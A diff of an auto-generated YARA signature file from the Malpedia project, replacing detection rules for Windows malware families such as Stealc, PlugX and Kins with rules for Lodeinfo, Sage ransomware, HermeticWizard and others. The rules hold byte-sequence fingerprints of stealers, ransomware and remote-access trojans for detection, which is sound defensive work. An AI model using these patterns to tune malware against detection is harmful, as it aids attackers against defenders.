+		7 of them and filesize <176128
 }
-rule MALPEDIA_Win_Fct_Auto : FILE
+rule MALPEDIA_Win_Lodeinfo_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2b1f29a9-1362-5741-a18b-c3a100da706f"
+		id = "47c099ff-69db-5812-85ce-57e24072ce38"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fct"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fct_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lodeinfo"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lodeinfo_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "d2be9c8f676646ff8bb82d16a11f73bdaff1325b5ad55ea7931b7cc2d022d940"
+		logic_hash = "e6a58ad7e2bc0ff5d6e63ebfb8b716b1912a0a95e296af817067906fecf4c3bd"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -154403,32 +161567,32 @@ rule MALPEDIA_Win_Fct_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83e801 0f8595010000 c745e438324100 e9???????? 894de0 c745e438324100 e9???????? }
-		$sequence_1 = { c3 c705????????80554100 b001 c3 68???????? e8???????? c70424???????? }
-		$sequence_2 = { e9???????? 8b1f 8d049d58634100 8b30 }
-		$sequence_3 = { 8bc6 83e03f 6bc838 894de0 8b049d50614100 f644082801 7469 }
-		$sequence_4 = { 6a04 e8???????? 83bd48fdffff08 8d8d34fdffff 8d45d8 }
-		$sequence_5 = { c70021000000 eb44 c745e002000000 c745e444324100 8b4508 8bcf 8b7510 }
-		$sequence_6 = { 50 8b04bd50614100 ff743018 ff15???????? 85c0 7404 b001 }
-		$sequence_7 = { 56 33f6 8b8650614100 85c0 740e 50 e8???????? }
-		$sequence_8 = { 660fd60f 8d7f08 8b048d84514000 ffe0 f7c703000000 7413 }
-		$sequence_9 = { 68???????? c68524fdffff00 8d4dd8 ffb524fdffff 6a01 e8???????? }
+		$sequence_0 = { 894de0 8955f0 8955f8 8955f4 85ff 740a 381433 }
+		$sequence_1 = { 85c0 7412 ff75f4 8b55f0 8bc8 e8???????? 83c404 }
+		$sequence_2 = { 85ff 742e 8b4c2444 8bc7 }
+		$sequence_3 = { 660fefc8 0f114c0620 0f10440630 0f28ca 660fefc8 0f114c0630 83c040 }
+		$sequence_4 = { 5d c3 8b75fc 8b55f0 33c9 85d2 7429 }
+		$sequence_5 = { 8bda 8b5508 57 8bf9 895df8 8b06 }
+		$sequence_6 = { e8???????? 83c404 894708 85c0 750d 39460c 7408 }
+		$sequence_7 = { 03c8 8b4510 d1e9 024fff 884c17ff 8b4dd4 3bf3 }
+		$sequence_8 = { eb72 8b45f0 8975f4 c64406ff00 eb65 8b45f8 8d7e01 }
+		$sequence_9 = { 85c0 748e 33c0 0f57c0 b920010000 8bfa }
 
 	condition:
-		7 of them and filesize <204800
+		7 of them and filesize <712704
 }
-rule MALPEDIA_Win_Curator_Auto : FILE
+rule MALPEDIA_Win_Goggles_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "fc957193-82db-5d48-97f1-8bf3e9847701"
+		id = "5a06c6e9-c0df-5eb2-9be8-0912ecacc960"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.curator"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.curator_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.goggles"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.goggles_auto.yar#L1-L119"
 		license_url = "N/A"
-		logic_hash = "a3bde063a66b4d9394e6eeb42680e73ad8b937005775febd69fd7690156b149c"
+		logic_hash = "6adf86a94e27e4da9bbef6eb899bde95be7c68b8b1a213561e769f61dd93d169"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -154442,32 +161606,32 @@ rule MALPEDIA_Win_Curator_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 428a8c01e0590600 482bd0 8b42fc d3e8 49895708 41894718 0fb60a }
-		$sequence_1 = { 4903c1 483bc3 0f84b3000000 4983c004 413bca 72e0 488d6b10 }
-		$sequence_2 = { 7507 8bc6 e9???????? 44396728 0f8527010000 8d14f5ffffffff 488d4c2458 }
-		$sequence_3 = { 448b542424 be01000000 389c24b8000000 7449 385c2420 }
-		$sequence_4 = { 8b4308 25ffffff0f 3dffffff0f 740b 488b03 488bd8 4885c0 }
-		$sequence_5 = { 660f7ef9 d1c1 894a30 660f6dff 660f7ef9 c1c10a 890a }
-		$sequence_6 = { f60708 7505 4885c0 7508 48c7432000409901 488b5c2438 4883c420 }
-		$sequence_7 = { 4183fc01 740b 41bc01000000 e9???????? 488b4dd7 e8???????? 488b4ddf }
-		$sequence_8 = { 0f843ffeffff 488d55c0 488d4db0 e8???????? e9???????? 488d46ff 488905???????? }
-		$sequence_9 = { 0f4ed0 e8???????? 488d1517130400 488d4c2420 e8???????? cc }
+		$sequence_0 = { c1fa02 83e23f 8a8a10400010 880c33 }
+		$sequence_1 = { 51 e8???????? 8b1d???????? b941000000 33c0 }
+		$sequence_2 = { 8d54247c 51 52 8d842488010000 68???????? 50 }
+		$sequence_3 = { 6a01 51 ff15???????? 8b742430 8b542431 }
+		$sequence_4 = { 53 ff15???????? 83c414 33c0 85ed }
+		$sequence_5 = { 51 ff15???????? 83c9ff bf???????? 33c0 83c414 }
+		$sequence_6 = { c744241002000000 8d8c2480020000 51 ff15???????? 8b442410 5f 5e }
+		$sequence_7 = { ffd5 8bf0 8bc7 99 f77c242c 81ee???????? 0fbe8288410010 }
+		$sequence_8 = { 2bd6 56 57 03ea ffd3 57 }
+		$sequence_9 = { a0???????? 55 57 88442410 }
 
 	condition:
-		7 of them and filesize <1265664
+		7 of them and filesize <57344
 }
-rule MALPEDIA_Win_Kins_Auto : FILE
+rule MALPEDIA_Win_Sage_Ransom_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4907ff1e-c41f-5c86-b473-4fc349042db0"
+		id = "847781b4-d239-5a8c-9601-0e5bac6cb5da"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kins"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kins_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sage_ransom"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sage_ransom_auto.yar#L1-L164"
 		license_url = "N/A"
-		logic_hash = "f9718717a3f75dea9d210a3bb9fec1b2557a6447053917656440c5e0062c5092"
+		logic_hash = "0e6ae75d84196f5850e13769b0aaa494f43257ce3727ef9fdf2f02bbc3316ba8"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -154481,32 +161645,38 @@ rule MALPEDIA_Win_Kins_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e9???????? 8d45dc 8d75cc e8???????? 83f8ff 741f 8bc6 }
-		$sequence_1 = { 8bfe 337dfc 23f8 33fe 037df0 8d9417937198fd 8b7dfc }
-		$sequence_2 = { e8???????? 83f8ff 743d 47 3bfa }
-		$sequence_3 = { f7d3 0bde 33d8 035df4 8dbc3ba72394ab c1c70f 8bd8 }
-		$sequence_4 = { c1e008 0bc2 0fb65116 0fb64917 c1e008 0bc2 }
-		$sequence_5 = { 0fb6c0 83e07f 8bf2 746f 0fb61c39 c1e608 48 }
-		$sequence_6 = { 40 85f6 75d8 8b7510 3b16 7719 }
-		$sequence_7 = { 33de 23df 33da 035908 8d840378a46ad7 c1c007 03c7 }
-		$sequence_8 = { 8d8578fcffff 50 8d857cfdffff 50 }
-		$sequence_9 = { ff4118 8b4118 83f838 762b eb0b c644081c00 }
+		$sequence_0 = { 57 56 68???????? e8???????? 83c408 6a00 6a00 }
+		$sequence_1 = { 8b74246c 57 c7442408adde9e5a b908000000 8d7c240c f3a5 8b742478 }
+		$sequence_2 = { 6a02 ff15???????? 8bf0 8d471c }
+		$sequence_3 = { 55 56 894c243c ff15???????? 83f8ff 7541 56 }
+		$sequence_4 = { 56 57 6af5 ff15???????? 8b15???????? 83c204 52 }
+		$sequence_5 = { 68e0930400 ffd6 6a02 e8???????? 83c404 68c0270900 }
+		$sequence_6 = { 0facf014 89442420 c1ee14 8bc6 }
+		$sequence_7 = { 83c438 833d????????00 7513 e8???????? 50 }
+		$sequence_8 = { 01410c 8b4310 014110 8b4314 }
+		$sequence_9 = { 013c13 83c102 46 ebd3 }
+		$sequence_10 = { 014114 8b4318 014118 8b431c }
+		$sequence_11 = { 0101 8b4304 014104 8b4308 014108 }
+		$sequence_12 = { 891c24 89442404 e8???????? 31d2 3955dc 0f86df000000 }
+		$sequence_13 = { 014110 8b4314 014114 8b4318 }
+		$sequence_14 = { 0119 117104 83c110 83c210 }
+		$sequence_15 = { 014108 8b430c 01410c 8b4310 }
 
 	condition:
-		7 of them and filesize <548864
+		7 of them and filesize <335872
 }
-rule MALPEDIA_Win_Badhatch_Auto : FILE
+rule MALPEDIA_Win_Ati_Agent_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e8145868-3ca1-5c30-b22c-ef0d5f024b54"
+		id = "aa24ad24-7301-5b4c-b856-1e1a4ef6bc2f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.badhatch"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.badhatch_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ati_agent"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ati_agent_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "a465c1cdccc061411fd4300f0446fb5369592ae409bf62acf36666de581c3980"
+		logic_hash = "724a5b5da348b3df222a7dbd0e29ff96d89b57311395a8ccd89f777e74414508"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -154520,34 +161690,34 @@ rule MALPEDIA_Win_Badhatch_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 53 6a00 50 ffd7 56 6a00 ff35???????? }
-		$sequence_1 = { 8b7730 59 59 8975f0 85f6 7514 }
-		$sequence_2 = { 8bc7 99 0145e0 1155e4 eb0e }
-		$sequence_3 = { ff7618 ff15???????? 85c0 740e ff15???????? 8945e4 e9???????? }
-		$sequence_4 = { 8bf0 59 85f6 750e eb40 ff15???????? 8bf0 }
-		$sequence_5 = { 8945e4 ff45d0 e9???????? 395de4 0f8574060000 68???????? ff7618 }
-		$sequence_6 = { 50 ff15???????? 85c0 0f8524010000 8d45ec 50 8d8594f5ffff }
-		$sequence_7 = { 8bd8 48 83e90c 85db 75f1 5b }
-		$sequence_8 = { 5e c9 c3 55 8bec 83e4f8 81ec38020000 }
-		$sequence_9 = { 50 ff15???????? 8945ec 3bc3 7509 }
+		$sequence_0 = { 488bc8 ff15???????? 488d1548a20000 488bce 488905???????? }
+		$sequence_1 = { e8???????? 488d2d24a60000 4c8d250dd80000 83f8ff 7435 488bcf e8???????? }
+		$sequence_2 = { 488d442460 488d942490010000 4533c9 4889442448 48894c2440 }
+		$sequence_3 = { 488b05???????? 4833c4 4889442438 498bf0 488bfa 488bd9 }
+		$sequence_4 = { 488d0526d80000 488d0cc8 48890f ff15???????? }
+		$sequence_5 = { e9???????? 4881ec28050000 488b05???????? 4833c4 4889842410050000 488b05???????? 4885c0 }
+		$sequence_6 = { 488d8c24f0000000 ba04010000 4889442420 e8???????? 4c8d5c2438 488d9424f0000000 41b919010200 }
+		$sequence_7 = { 442bc0 488b442450 488d0d85be0000 488b0cc1 }
+		$sequence_8 = { 897c2428 897c2420 c784248000000068000000 ff15???????? }
+		$sequence_9 = { 8bf8 85c0 750d 488bce e8???????? e9???????? 4c8d2d6dc10000 }
 
 	condition:
-		7 of them and filesize <156672
+		7 of them and filesize <172032
 }
-rule MALPEDIA_Win_Soul_Auto : FILE
+rule MALPEDIA_Win_Mosaic_Regressor_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ea0bc590-52b0-5914-b399-85653bff4505"
+		id = "6545d5ce-704c-5c00-a6cd-ec1b5c909576"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.soul"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.soul_auto.yar#L1-L234"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mosaic_regressor"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mosaic_regressor_auto.yar#L1-L117"
 		license_url = "N/A"
-		logic_hash = "192d2467d64d6ffcab9581013b65d7e42a7f1082991c14dd63a3ef2c42177610"
+		logic_hash = "73c7fd14f8effd7ac9e0816b586de74eff8d0d21c8391e8e84f2921e57196fdb"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -154559,45 +161729,32 @@ rule MALPEDIA_Win_Soul_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83c404 33f6 897304 8b4304 }
-		$sequence_1 = { 897304 8b4304 5f 5e 5b }
-		$sequence_2 = { 40 803800 75f8 c745fc00000000 90 }
-		$sequence_3 = { 75f8 803e00 8bc6 7409 90 fe08 40 }
-		$sequence_4 = { d3e2 8515???????? 7405 e8???????? }
-		$sequence_5 = { 8b03 8b36 50 e8???????? 8bf8 }
-		$sequence_6 = { 5d c3 57 eb05 85f6 }
-		$sequence_7 = { ff25???????? ff25???????? ff25???????? ff25???????? 48895c2408 4889742410 57 }
-		$sequence_8 = { ff45fc 85f6 7506 837dfc04 7cda }
-		$sequence_9 = { c745fc00000000 8da42400000000 8b4df8 51 }
-		$sequence_10 = { e9???????? 8b531c c1e002 8bc8 }
-		$sequence_11 = { 6644896c2438 48837f1808 7319 4c8b4710 49ffc0 4d03c0 }
-		$sequence_12 = { 4983fc08 7208 498bcd e8???????? b801000000 488b8db0010000 4833cc }
-		$sequence_13 = { 7475 453bcc 7370 488b5330 4c8b5318 488b7338 }
-		$sequence_14 = { 48895c2420 ff16 85c0 0f85f7000000 488b442420 4885c0 0f84e4000000 }
-		$sequence_15 = { 4c8bac2470020000 4c8ba42478020000 488bb424a8020000 488b9c2498020000 488bac24a0020000 488b8c2460020000 4833cc }
-		$sequence_16 = { 8bc1 c1e805 478d541201 662bc8 }
-		$sequence_17 = { 0f8889000000 7e74 817d0063736de0 7528 48833d????????00 741e 488d0d49ad0000 }
-		$sequence_18 = { 3d06010000 7309 4585ff 0f84bd020000 85c0 0f8410040000 458bc5 }
-		$sequence_19 = { 4883c302 85c0 75ed 85d2 7416 4885ff }
-		$sequence_20 = { 488bcf ff15???????? 400fb6de 85c0 be00000000 0f44de 48837c247808 }
-		$sequence_21 = { 488d4de0 e8???????? 90 4c8d056e310200 488bd0 488d4db8 }
-		$sequence_22 = { 41d3ed 83ff20 7321 85f6 0f84d30c0000 410fb60424 }
+		$sequence_0 = { e8???????? 670010 386700 1023 d18a0688078a }
+		$sequence_1 = { 8975e0 8db1d0a70010 8975e4 eb2a }
+		$sequence_2 = { 85c0 7456 8b4de0 8d0c8de0b70010 8901 8305????????20 }
+		$sequence_3 = { f3a4 6a1c 8d8c2480060000 51 6a00 ffd5 8d842478060000 }
+		$sequence_4 = { 8d442460 50 6a00 ffd5 8d442458 48 8d4900 }
+		$sequence_5 = { 895008 8d542458 52 88480c }
+		$sequence_6 = { c744241444000000 8bc8 90 8a10 }
+		$sequence_7 = { 6a06 89430c 8d4310 8d89c4a70010 5a }
+		$sequence_8 = { 8bff 55 8bec 8b4508 ff34c578a10010 ff15???????? 5d }
+		$sequence_9 = { 6a00 6a00 6a00 8d942498080000 }
 
 	condition:
-		7 of them and filesize <1400832
+		7 of them and filesize <113664
 }
-rule MALPEDIA_Win_Stealc_Auto : FILE
+rule MALPEDIA_Win_Anel_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "539cf538-cfac-56e1-8a82-eaf8270c6c0b"
+		id = "77d9607f-3592-578d-9a57-0a9e2e4b1267"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.stealc_auto.yar#L1-L108"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.anel"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.anel_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "6bf18991e2a395daac8cbfec9f407668e110581410c7e2de7aedba9cee95d9f0"
+		logic_hash = "1c7f9ff41f497369b4973c110e6ba50d48e821bb90418969cf9b52dfa74f7f8e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -154611,32 +161768,32 @@ rule MALPEDIA_Win_Stealc_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? 85c0 7507 c685e0feffff43 }
-		$sequence_1 = { 68???????? e8???????? e8???????? 83c474 }
-		$sequence_2 = { 50 e8???????? e8???????? 83c474 }
-		$sequence_3 = { e8???????? e8???????? 81c480000000 e9???????? }
-		$sequence_4 = { 50 e8???????? e8???????? 81c484000000 }
-		$sequence_5 = { e8???????? 83c460 e8???????? 83c40c }
-		$sequence_6 = { e8???????? e8???????? 83c418 6a3c }
-		$sequence_7 = { ff15???????? 50 ff15???????? 8b5508 8902 }
-		$sequence_8 = { 50 ff15???????? 8b5508 8902 }
-		$sequence_9 = { 7405 394104 7d07 8b4908 3bca 75f0 8bf9 }
+		$sequence_0 = { f7fe 43 3bd8 7621 8bd0 d1ea be91cfba01 }
+		$sequence_1 = { eb24 8bca 83e910 3b5904 7f17 7c07 }
+		$sequence_2 = { 8bf9 2bf8 85c0 7411 eb03 83c010 3bc1 }
+		$sequence_3 = { c645fc06 e8???????? c645fc07 8bc8 c645fc08 e8???????? 8bc6 }
+		$sequence_4 = { 897814 895810 89458c 8818 8d4678 }
+		$sequence_5 = { c1e704 037d08 a5 a5 a5 a5 5f }
+		$sequence_6 = { 53 33ff c645fc00 e8???????? 837d1c08 8b4508 7303 }
+		$sequence_7 = { 8bec 51 56 8bf0 33c0 894610 c746140f000000 }
+		$sequence_8 = { 8d8bd0000000 50 8d55d8 c645fc01 e8???????? 6a01 33ff }
+		$sequence_9 = { e8???????? 8bd6 8d8dc8feffff c645fc01 e8???????? c645fc02 83bd04ffffff05 }
 
 	condition:
-		7 of them and filesize <4891648
+		7 of them and filesize <376832
 }
-rule MALPEDIA_Win_Orcarat_Auto : FILE
+rule MALPEDIA_Win_Lilith_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2de223cb-857a-5d4b-8d3a-323fa4ad4ded"
+		id = "7c9f283d-efd5-5ce1-a88d-5c399c9e9911"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.orcarat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.orcarat_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lilith"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lilith_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "12ec16d312c505ceab125190551fe03bd174598263e03e7c0fe4b3239bc4fe94"
+		logic_hash = "9246de5695a5f1adcfda29165a048565982f491bffcb4e11939fadd1e6d8bd64"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -154650,32 +161807,32 @@ rule MALPEDIA_Win_Orcarat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { f2ae 8d84242c110000 f7d1 50 894c2414 51 }
-		$sequence_1 = { 8d8c2418010000 50 51 8d842430110000 52 50 }
-		$sequence_2 = { 56 6a00 8d5708 6a10 }
-		$sequence_3 = { 53 8dbef4020000 51 50 }
-		$sequence_4 = { 8bf0 85f6 7451 8b442414 85c0 7421 }
-		$sequence_5 = { f2ae 8d442420 f7d1 50 894c2418 ff15???????? 50 }
-		$sequence_6 = { 303d???????? 40 00803d400023 d18a0688078a 46 018847018a46 }
-		$sequence_7 = { 5d 5b 81c418020000 c20400 6a01 8d142e }
-		$sequence_8 = { ff15???????? 85c0 0f849e010000 8b0f 53 6a01 51 }
-		$sequence_9 = { 33db 837d0000 762f 8d542410 c744241000000000 52 6800080000 }
+		$sequence_0 = { 50 ff15???????? 6857040000 898698210000 ff15???????? }
+		$sequence_1 = { e8???????? 8bce e8???????? 83c418 8bcf e8???????? 8d4dd0 }
+		$sequence_2 = { 8b0c85a84b4300 8b45e8 f644012880 7446 0fbec3 83e800 742e }
+		$sequence_3 = { 25f0070000 660f28a010e94200 660f28b800e54200 660f54f0 660f5cc6 660f59f4 660f5cf2 }
+		$sequence_4 = { 8b0485a84b4300 80640828fe ff33 e8???????? 59 e9???????? 8b0b }
+		$sequence_5 = { c60000 833d????????10 b8???????? c745cc01000000 0f4305???????? }
+		$sequence_6 = { e9???????? c745dc03000000 c745e0c8874200 e9???????? }
+		$sequence_7 = { c1fa06 8934b8 8bc7 83e03f 6bc830 8b0495a84b4300 8b440818 }
+		$sequence_8 = { 8b4d08 898814434300 68???????? e8???????? 8be5 }
+		$sequence_9 = { 660f122c8510a74200 03c0 660f28348520ab4200 ba7f3e0400 e9???????? 8bd0 }
 
 	condition:
-		7 of them and filesize <114688
+		7 of them and filesize <499712
 }
-rule MALPEDIA_Win_Tempedreve_Auto : FILE
+rule MALPEDIA_Win_Hermeticwizard_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e62cef01-6d44-587e-a3de-2c290fdad6d7"
+		id = "726bd88f-010b-5502-8637-f9d7bbeebd06"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tempedreve"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tempedreve_auto.yar#L1-L163"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hermeticwizard"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hermeticwizard_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "5e6b4c6e2f4e0f76996895055b92463fa9cea8a31f828bb15d4eb02a56497fa3"
+		logic_hash = "42607a1b485bdd595d314b574245aeda955efc5b6dd3f18356065a03173a4530"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -154689,40 +161846,34 @@ rule MALPEDIA_Win_Tempedreve_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 011e 015e10 015e0c 0fb75706 }
-		$sequence_1 = { 011a 8b87dc000000 83c204 03c6 }
-		$sequence_2 = { 01042f 034c2ff8 8d45ec 894c2ff8 }
-		$sequence_3 = { 754f 85f6 744b 214524 8d4520 }
-		$sequence_4 = { 011a 45 8d14a9 8b02 }
-		$sequence_5 = { 0103 a1???????? 83c004 50 ff15???????? }
-		$sequence_6 = { 0104b7 8b8424a8000000 83c704 4d }
-		$sequence_7 = { 010f 8b07 83c704 3bc1 }
-		$sequence_8 = { 89542430 eb09 83f801 0f86c8010000 0fb64500 0fb64d01 }
-		$sequence_9 = { 85c0 0f85a9090000 53 8916 8d4e04 }
-		$sequence_10 = { 8bc8 c1e903 8d440140 c20400 }
-		$sequence_11 = { 899e1c040000 895c2458 3bc3 0f86eb070000 8d9b00000000 8b44245c 85c0 }
-		$sequence_12 = { 55 51 8bce 8d5c0301 e8???????? 3bd8 8b5c2458 }
-		$sequence_13 = { 72f3 8b4c2414 8b6c2428 3bda 0f84e1000000 }
-		$sequence_14 = { 8b6c2410 8bd3 2bd7 52 55 8bce e8???????? }
-		$sequence_15 = { 8b542430 3bda 7320 8d4d02 8be8 2b6c2428 }
+		$sequence_0 = { 8b4608 3b4208 eb31 83f803 7531 8d4a04 8d4604 }
+		$sequence_1 = { 33c9 66897dca 6800080000 50 }
+		$sequence_2 = { 8b35???????? ffd6 ff75e8 ffd6 5e 8b4508 5f }
+		$sequence_3 = { 6bc930 53 8b5d10 8b0485c0dd0110 56 }
+		$sequence_4 = { 6689854cffffff 6689854effffff 66898554ffffff 6689855effffff 66898d58ffffff 66898d5affffff 59 }
+		$sequence_5 = { 8d4608 50 8d4908 e8???????? }
+		$sequence_6 = { 6a02 58 668945e8 8b4104 }
+		$sequence_7 = { c3 837d08ff 0f8401070000 e9???????? e9???????? 55 8bec }
+		$sequence_8 = { ff15???????? 83f87a 7567 ff75fc 6a08 ff15???????? 50 }
+		$sequence_9 = { ff15???????? 85c0 7504 b001 eb3a 57 56 }
 
 	condition:
-		7 of them and filesize <155648
+		7 of them and filesize <263168
 }
-rule MALPEDIA_Win_Plugx_Auto : FILE
+rule MALPEDIA_Win_Zhcat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f3050f8b-cffb-5dba-854a-dbf0ccdc7dc1"
+		id = "0ba2d083-15f8-52b3-8a0e-523b48182ccb"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.plugx"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.plugx_auto.yar#L1-L275"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zhcat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zhcat_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "dee163361f083ebb03bd1347d736d4fc9d87c0c2c6fd15ac5989d8dd6f5a5f80"
+		logic_hash = "42a0cd82873743b61553ad212467ec7353604cc191810d2e10195e3fc58baf2d"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -154734,55 +161885,34 @@ rule MALPEDIA_Win_Plugx_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 51 56 57 6a1c 8bf8 }
-		$sequence_1 = { 33d2 f7f3 33d2 8945fc }
-		$sequence_2 = { 55 8bec a1???????? 83ec5c 53 }
-		$sequence_3 = { 55 8bec 51 0fb74612 }
-		$sequence_4 = { 51 53 6a00 6a00 6a02 ffd0 85c0 }
-		$sequence_5 = { 41 3bca 7ce0 3bca }
-		$sequence_6 = { 56 8b750c 8b4604 050070ffff }
-		$sequence_7 = { 6a00 6800100000 6800100000 68ff000000 6a00 6803000040 }
-		$sequence_8 = { e8???????? 3de5030000 7407 e8???????? }
-		$sequence_9 = { e8???????? 85c0 7508 e8???????? 8945fc }
-		$sequence_10 = { 50 ff15???????? a3???????? 8b4d18 }
-		$sequence_11 = { 85c0 7413 e8???????? 3de5030000 }
-		$sequence_12 = { e8???????? 85c0 7407 b84f050000 }
-		$sequence_13 = { e8???????? 85c0 750a e8???????? 8945fc }
-		$sequence_14 = { 6a00 6a04 6a00 6a01 6800000040 57 }
-		$sequence_15 = { 6a00 6819000200 6a00 6a00 6a00 51 }
-		$sequence_16 = { 56 56 6a01 56 ffd0 }
-		$sequence_17 = { 85c0 750d e8???????? 8945f4 }
-		$sequence_18 = { 57 e8???????? eb0c e8???????? }
-		$sequence_19 = { 50 ff75e8 6802000080 e8???????? }
-		$sequence_20 = { 6a00 ff7028 e8???????? 83c408 85c0 }
-		$sequence_21 = { 6808020000 6a00 ff742450 e8???????? 83c40c }
-		$sequence_22 = { 6a02 6a00 e8???????? c705????????00000000 }
-		$sequence_23 = { 6800080000 68???????? e8???????? 6800080000 68???????? e8???????? }
-		$sequence_24 = { 5e 5f 5b 5d c3 64a118000000 }
